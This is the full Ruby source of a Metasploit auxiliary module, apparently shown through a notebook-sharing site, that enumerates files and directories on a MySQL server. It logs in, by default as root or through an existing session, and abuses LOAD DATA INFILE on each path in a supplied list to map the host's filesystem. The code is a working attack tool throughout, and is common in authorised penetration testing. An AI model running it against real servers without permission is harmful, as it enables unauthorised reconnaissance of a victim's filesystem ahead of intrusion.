Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'yaml'
7

8
class MetasploitModule < Msf::Auxiliary
9
  include Msf::Exploit::Remote::MYSQL
10
  include Msf::Auxiliary::Report
11
  include Msf::Auxiliary::Scanner
12
  include Msf::OptionalSession::MySQL
13

14
  def initialize
15
    super(
16
      'Name'           => 'MYSQL File/Directory Enumerator',
17
      'Description'    => %Q{
18
          Enumerate files and directories using the MySQL load_file feature, for more
19
        information see the URL in the references.
20
      },
21
      'Author'         => [ 'Robin Wood <robin[at]digininja.org>' ],
22
      'References'  => [
23
        [ 'URL', 'http://pauldotcom.com/2013/01/mysql-file-system-enumeration.html' ],
24
        [ 'URL', 'http://www.digininja.org/projects/mysql_file_enum.php' ]
25
      ],
26
      'License'        => MSF_LICENSE
27
    )
28

29
    register_options([
30
      OptPath.new('FILE_LIST', [ true, "List of directories to enumerate", '' ]),
31
      OptString.new('DATABASE_NAME', [ true, "Name of database to use", 'mysql' ]),
32
      OptString.new('TABLE_NAME', [ true, "Name of table to use - Warning, if the table already exists its contents will be corrupted", Rex::Text.rand_text_alpha(8) ]),
33
      OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ])
34
    ])
35

36
  end
37

38
  # This function does not handle any errors, if you use this
39
  # make sure you handle the errors yourself
40
  def mysql_query_no_handle(sql)
41
    res = self.mysql_conn.query(sql)
42
    res
43
  end
44

45
  def run_host(ip)
46
    vprint_status("Login...") unless session
47

48
    # If we have a session make use of it
49
    if session
50
      print_status("Using existing session #{session.sid}")
51
      self.mysql_conn = session.client
52
    else
53
      # otherwise fallback to attempting to login
54
      return unless mysql_login_datastore
55
    end
56

57
    begin
58
      mysql_query_no_handle("USE " + datastore['DATABASE_NAME'])
59
    rescue ::Rex::Proto::MySQL::Client::Error => e
60
      vprint_error("MySQL Error: #{e.class} #{e.to_s}")
61
      return
62
    rescue Rex::ConnectionTimeout => e
63
      vprint_error("Timeout: #{e.message}")
64
      return
65
    end
66

67
    res = mysql_query("SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA = '" + datastore['DATABASE_NAME'] + "' AND TABLE_NAME = '" + datastore['TABLE_NAME'] + "';")
68
    table_exists = (res.size == 1)
69

70
    if !table_exists
71
      vprint_status("Table doesn't exist so creating it")
72
      mysql_query("CREATE TABLE " + datastore['TABLE_NAME'] + " (brute int);")
73
    end
74

75
    file = File.new(datastore['FILE_LIST'], "r")
76
    file.each_line do |line|
77
      check_dir(line.chomp)
78
    end
79
    file.close
80

81
    if !table_exists
82
      vprint_status("Cleaning up the temp table")
83
      mysql_query("DROP TABLE " + datastore['TABLE_NAME'])
84
    end
85
  end
86

87
  def check_dir dir
88
    begin
89
      res = mysql_query_no_handle("LOAD DATA INFILE '" + dir + "' INTO TABLE " + datastore['TABLE_NAME'])
90
    rescue ::Rex::Proto::MySQL::Client::TextfileNotReadable
91
      print_good("#{dir} is a directory and exists")
92
      report_note(
93
        :host  => mysql_conn.peerhost,
94
        :type  => "filesystem.dir",
95
        :data  => "#{dir} is a directory and exists",
96
        :port  => mysql_conn.peerport,
97
        :proto => 'tcp',
98
        :update => :unique_data
99
      )
100
    rescue ::Rex::Proto::MySQL::Client::DataTooLong, ::Rex::Proto::MySQL::Client::TruncatedWrongValueForField
101
      print_good("#{dir} is a file and exists")
102
      report_note(
103
        :host  => mysql_conn.peerhost,
104
        :type  => "filesystem.file",
105
        :data  => "#{dir} is a file and exists",
106
        :port  => mysql_conn.peerport,
107
        :proto => 'tcp',
108
        :update => :unique_data
109
      )
110
    rescue ::Rex::Proto::MySQL::Client::ServerError
111
      vprint_warning("#{dir} does not exist")
112
    rescue ::Rex::Proto::MySQL::Client::Error => e
113
      vprint_error("MySQL Error: #{e.class} #{e.to_s}")
114
      return
115
    rescue Rex::ConnectionTimeout => e
116
      vprint_error("Timeout: #{e.message}")
117
      return
118
    else
119
      print_good("#{dir} is a file and exists")
120
      report_note(
121
        :host  => mysql_conn.peerhost,
122
        :type  => "filesystem.file",
123
        :data  => "#{dir} is a file and exists",
124
        :port  => mysql_conn.peerport,
125
        :proto => 'tcp',
126
        :update => :unique_data
127
      )
128
    end
129

130
    return
131
  end
132
end
133

134